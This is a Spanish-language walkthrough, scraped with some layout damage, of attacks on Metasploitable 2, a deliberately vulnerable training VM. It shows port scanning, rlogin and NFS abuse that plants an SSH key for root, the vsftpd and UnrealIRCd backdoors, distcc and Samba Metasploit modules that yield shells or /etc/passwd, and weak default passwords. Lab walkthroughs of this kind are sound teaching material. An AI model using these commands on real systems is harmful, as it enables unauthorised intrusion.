Sei sulla pagina 1di 8

Guía de Explotabilidad de Metasploitable 2

Metasploitable 2

La máquina virtual Metasploitable es una versión de Ubuntu Linux intencionalmente vulnerable


diseñada para probar herramientas de seguridad y demostrar vulnerabilidades comunes. La
versión 2 de esta máquina virtual se encuentra disponible para la descargad
descarga desde Sourceforge.net y
contiene aún muchas más vulnerabilidades que la imágen original. Esta máquina virtual es
compatible con VMWare, VirtualBox, y otras plataformas de virtualización comunes. De manera
predeterminada, las interfaces de red de Metasploitable se encuentran atadas a los adaptadores
de red NAT y Host-only, y la imagen no debe exponerse a una red hostíl. Este artículo describe
muchas de las fallas de seguridad en la imagen de Metasploitable 2. En la actualidad hace falta
documentación sobre el servidor web y las fallas de aplicaciones web, así como las
vulnerabilidades que permiten a un usuario local escalar a privilegios de root.

Este documento se seguirá ampliando con el tiempo a medida que muchos de los defectos menos
evidentes en esta plataforma se vayan encontrando.

Primeros Pasos

Después de arrancar la máquina virtual, inicie sesión en la consola con el usuario m s f a d m i n y  


contraseña m s f a d m i n .  Desde la shell, ejecute el comando i f c o n f i g para identificar la dirección IP.

?
1 msfadmin@metasploitable:~$ ifconfig
2
3 eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1
inet
4 addr:192.168.99.131 Bcast:192.168.99.255 Mask:255.255.255.0
5 inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
6 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Servicios

Desde nuestro sistema de ataque (Linux, preferiblemente algo como Backtrack), identificaremos los
servicios de red abiertos en esta máquina virtual utilizando el Scanner de Seguridad Nmap.
Nmap . La
siguiente línea de comando analizará todos los puertos TCP en la instancia de Metasploitable 2:

?
1 root@ubuntu:~# nmap -p0-65535 192.168.99.131
2 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31
21:14 PDT
3
Nmap scan report for 192.168.99.131
4 Host is up (0.00028s latency).
5 Not shown: 65506 closed ports
6 PORT STATE SERVICE
7 21/tcp open ftp
8 22/tcp open ssh
9 23/tcp open telnet
10 25/tcp open smtp
11 53/tcp open domain
12 80/tcp open http
13 111/tcp open rpcbind
14 139/tcp open netbios-ssn
15 445/tcp open microsoft-ds
16 512/tcp open exec
17 513/tcp open login
18 514/tcp open shell
19 1099/tcp open rmiregistry
20 1524/tcp open ingreslock
21
2049/tcp open nfs
22
2121/tcp open ccproxy-ftp
23
3306/tcp open mysql
24
3632/tcp open distccd
25
5432/tcp open postgresql
26
5900/tcp open vnc
27
6000/tcp open X11
28
6667/tcp open irc
29
6697/tcp open unknown
30
31 8009/tcp open ajp13
32 8180/tcp open unknown
33 8787/tcp open unknown
34 39292/tcp open unknown
35 43729/tcp open unknown
36 44813/tcp open unknown
37 55852/tcp open unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Casi todos estos servicios en escucha proporcionan un punto de entrada remoto en el sistema. En
la siguiente sección, caminaremos a través de algunos de estos vectores.

Servicios: Báses de Unix

Los puertos TCP 512, 513, y 514 son conocidos como los servicios "r", y han sido configurados
erróneamente para permitir acceso remoto desde cualquier máquina (una situación típica ".rhosts +
+"). Para tomar ventaja de esto, nos aseguraremos de que el cliente rsh-client se encuentre
instalado (en Ubuntu), y ejecutamos el siguiente comando como usuario root local. Si se nos
solicita una llave SSH, esto significa que las herramientas rsh-client no han sido instaladas y
Ubuntu está predeterminando a utilizar SSH.

?
1 # rlogin -l root 192.168.99.131
Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0
2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
3 2008 i686
4 root@metasploitable:~#

Esto se pone tan bueno como se vé. El próximo servicio que debe tener en cuenta es el sistema de
archivos de red (NFS). NFS puede ser identificado sondeando el puerto 2049 directamente o
pidiendo a portmapper obtener una lista de servicios. El siguiente ejemplo usando r p c i n f o para
identificar NFS y s h o w m o u n t - e   para determinar que el recurso compartido " /" (la raíz del sistema
de archivos) estará siendo exportado. Necesitaremos los paquetes de Ubuntu rpcbind y nfs-
common para seguir adelante.

?
1
2
3 root@ubuntu:~# rpcinfo -p 192.168.99.131
4 program vers proto port service
5 100000 2 tcp 111 portmapper
6 100000 2 udp 111 portmapper
100024 1 udp 53318 status
7 100024 1 tcp 43729 status
8 100003 2 udp 2049 nfs
9 100003 3 udp 2049 nfs
10 100003 4 udp 2049 nfs
100021 1 udp 46696 nlockmgr
11
100021 3 udp 46696 nlockmgr
12 100021 4 udp 46696 nlockmgr
13 100003 2 tcp 2049 nfs
14 100003 3 tcp 2049 nfs
15 100003 4 tcp 2049 nfs
100021 1 tcp 55852 nlockmgr
16 100021 3 tcp 55852 nlockmgr
17 100021 4 tcp 55852 nlockmgr
18 100005 1 udp 34887 mountd
19 100005 1 tcp 39292 mountd
20 100005 2 udp 34887 mountd
100005 2 tcp 39292 mountd
21 100005 3 udp 34887 mountd
22 100005 3 tcp 39292 mountd
23
24 root@ubuntu:~# showmount -e 192.168.99.131
25 Export list for 192.168.99.131:
/ *
26
27
28

Obtener acceso a un sistema con un sistema de archivos modificable como este es algo trivial.
Para que sea así (y porque SSH está ejecutándose), generaremos una nueva llave SSH en
nuestro sistema atacante, montamos el export NFS y agregamos nuestra llave al
archivo authorized_keys  de la cuenta de usuario root:

?
1 root@ubuntu:~# ssh-keygen
2 Generating public/private rsa key pair.
3 Enter file in which to save the key (/root/.ssh/id_rsa):
4 Enter passphrase (empty for no passphrase):
Enter same passphrase again:
5
Your identification has been saved in /root/.ssh/id_rsa.
6 Your public key has been saved in /root/.ssh/id_rsa.pub.
7
8 root@ubuntu:~# mkdir /tmp/r00t
9 root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
10 root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>
/tmp/r00t/root/.ssh/authorized_keys
11 root@ubuntu:~# umount /tmp/r00t
12
13 root@ubuntu:~# ssh root@192.168.99.131
14 Last login: Fri Jun 1 00:29:33 2012 from 192.168.99.128
15 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
16 2008 i686
17
root@metasploitable:~#
18

Servicios: Backdoors

En el puerto 21, Metasploitable 2 ejecuta v s f t p d  , un servidor FTP popular. Esta versión en


particular contiene una puerta trasera (backdoor) que fue introducida en el código fuente por un
intruso desconocido. El backdoor fue rápidamente identificado y eliminado, pero no antes de que
unas cuantas personas ya lo hubieran descargado. Si un nombre de usuario es enviado
terminando con la secuencia " :)  " (carita felíz), la versión con el backdoor abrirá una shell en
escucha en el puerto 6200. Podemos demostrar esto con telnet o utilizando un módulo
de Metasploit Framework para explotarlo automáticamente:

?
1 root@ubuntu:~# telnet 192.168.99.131 21
2 Trying 192.168.99.131...
Connected to 192.168.99.131.
3 Escape character is '^]'.
4 220 (vsFTPd 2.3.4)
5 user backdoored:)
6 331 Please specify the password.
pass invalid
7
^]
8 telnet> quit
9 Connection closed.
10
11 root@ubuntu:~# telnet 192.168.99.131 6200
12 Trying 192.168.99.131...
Connected to 192.168.99.131.
13
Escape character is '^]'.
14 id;
15 uid=0(root) gid=0(root)
16
17
18

En el puerto 6667, Metasploitable 2 corre el demonio IRC UnreaIRCD. Esta versión contiene un
backdoor que pasó desapercibido por meses, - disparado al enviar las letras "AB" seguidas de un
comando del sistema al servidor en cualquier puerto en escucha. Metasploit tiene un módulo para
explotar esto con el fin de obtener una shell interactiva, como se muestra a continuación.

?
1
2 msfconsole
3 msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_b ackdoor) > set RHOST 192.168.99.131
4
msf exploit(unreal_ircd_3281_b ackdoor) > exploit
5 [*] Started reverse double handler
6 [*] Connected to 192.168.99.131:6667...
7 :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
8 :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using
instead
9 [*] Sending backdoor command...
10 [*] Accepted the first client connection...
11 [*] Accepted the second client connection...
12 [*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
13
[*] Writing to socket B
14 [*] Reading from sockets...
15 [*] Reading from socket B
16 [*] B: "8bMUYsfmGvOLHBxe\r\n"
17 [*] Matching...
[*] A is input...
18 [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at
19 21:53:59 -0700
20
21 id
22 uid=0(root) gid=0(root)
23

Mucho menos sutíl es el viejo backdoor remanente " ingreslock" que escucha en el puerto 1524. El
puerto ingreslock era una opción popular hace una década para agregar una puerta trasera a un
servidor comprometido. Accederlo es fácil:

?
root@ubuntu:~# telnet 192.168.99.131 1524
1
Trying 192.168.99.131...
2 Connected to 192.168.99.131.
3 Escape character is '^]'.
root@metasploitable:/# id
4
uid=0(root) gid=0(root) groups=0(root)
5
6

Servicios: Backdoors No-Intencionales

 Además de las puertas traseras maliciosas de la sección anterior, algunos servicios son casi
puertas traseras por su propia naturaleza. El primero de estos que está instalado en Metasploitable
2 es d i s t c c d  . Este programa hace que sea fácil escalar grandes tareas de compilación a través de
una granja de sistemas que aparentan estar configurados para tal fin. El problema con este servicio
es que un atacante puede abusar de este para ejecutar un comando a su elección, como lo
demuestra el uso del módulo de Metasploit a continuación.

?
1
2 msfconsole
3 msf > use exploit/unix/misc/distcc_exec
4 msf exploit(distcc_exec) > set RHOST 192.168.99.131
msf exploit(distcc_exec) > exploit
5
6 [*] Started reverse double handler
7 [*] Accepted the first client connection...
8 [*] Accepted the second client connection...
9 [*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
10
[*] Writing to socket B
11 [*] Reading from sockets...
12 [*] Reading from socket B
13 [*] B: "uk3UdiwLUq0LX3Bi\r\n"
14 [*] Matching...
[*] A is input...
15 [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at
16 22:06:03 -0700
17
18 id
19 uid=1(daemon) gid=1(daemon) groups=1(daemon)
20

Samba, cuando se configura con un recurso de archivos compartidos y enlaces extensos (wide
links) habilitados (los cuales vienen activados por defecto), puede utilizarse tambien como un tipo
de puerta trasera para acceder archivos que no estaban destinados a ser compartidos. El siguiente
ejemplo utiliza un módulo de Metasploit para proporcionar acceso al sistema de archivos raíz
utilizando una conexión anónima y un recurso compartido con acceso de escritura.

?
root@ubuntu:~# smbclient -L //192.168.99.131
1 Anonymous login successful
2 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
3
--------- ---- -------
4 print$ Disk Printer Drivers
5 tmp Disk oh noes!
6 opt Disk
7 IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-
8
9
root@ubuntu:~# msfconsole
10 msf > use auxiliary/admin/smb/samba_symlink_traversal
11 msf auxiliary(samba_symlink_tr aversal) > set RHOST 192.168.99.131
12 msf auxiliary(samba_symlink_tr aversal) > set SMBSHARE tmp
13 msf auxiliary(samba_symlink_tr aversal) > exploit
14
[*] Connecting to the server...
15 [*] Trying to mount writeable share 'tmp'...
16 [*] Trying to link 'rootfs' to the root filesystem...
17 [*] Now access the following share to browse the root filesystem:
18 [*] \\192.168.99.131\tmp\rootfs\
19
msf auxiliary(samba_symlink_tr aversal) > exit
20
21
root@ubuntu:~# smbclient //192.168.99.131/tmp
22 Anonymous login successful
23 Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
24 smb: \> cd rootfs
25 smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
26 getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes
27 KiloBytes/sec)
28 root:x:0:0:root:/root:/bin/bash
29 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
30
[..]
31
32
33
34
35
36

Contraseñas Débiles

 Adicionalmente a las más flagrantes puertas traseras y errores de configuración, Metasploitable 2


tiene terrible seguridad de contraseña tanto para la cuenta del sistema como para la cuenta del
servidor de base de datos. El usuario principal de administración m s f a d m i n tiene una contraseña
que coincide con el nombre de usuario. Al descubrir la lista de los usuarios en este sistema, ya sea
mediante el uso de otro defecto para capturar el archivo  passwd , o mediante la enumeración de
estos identificadores de usuario a través de Samba, un ataque de fuerza bruta puede ser utilizado
para acceder rápidamente a varias cuentas de usuario. Como mínimo, las siguientes cuentas
débiles del sistema están configuradas en el sistema.
Nombre Cuenta Contraseña

msfadmin msfadmin
user user
 postgres postgres
sys batman
klog 123456789
service service

 Adicional a estas cuentas a nivel de sistema, el servicio de PostgreSQL puede ser accedido con el
nombre de usuario p o s t g r e s y contraseña p o s t g r e s  , mientras que el servicio de MySQL está
abierto con el nombre de usuario r o o t y con una contraseña en blanco. El servicio
de VNC proporciona el acceso de escritorio remoto a través de la contraseña p a s s w o r d  .

Potrebbero piacerti anche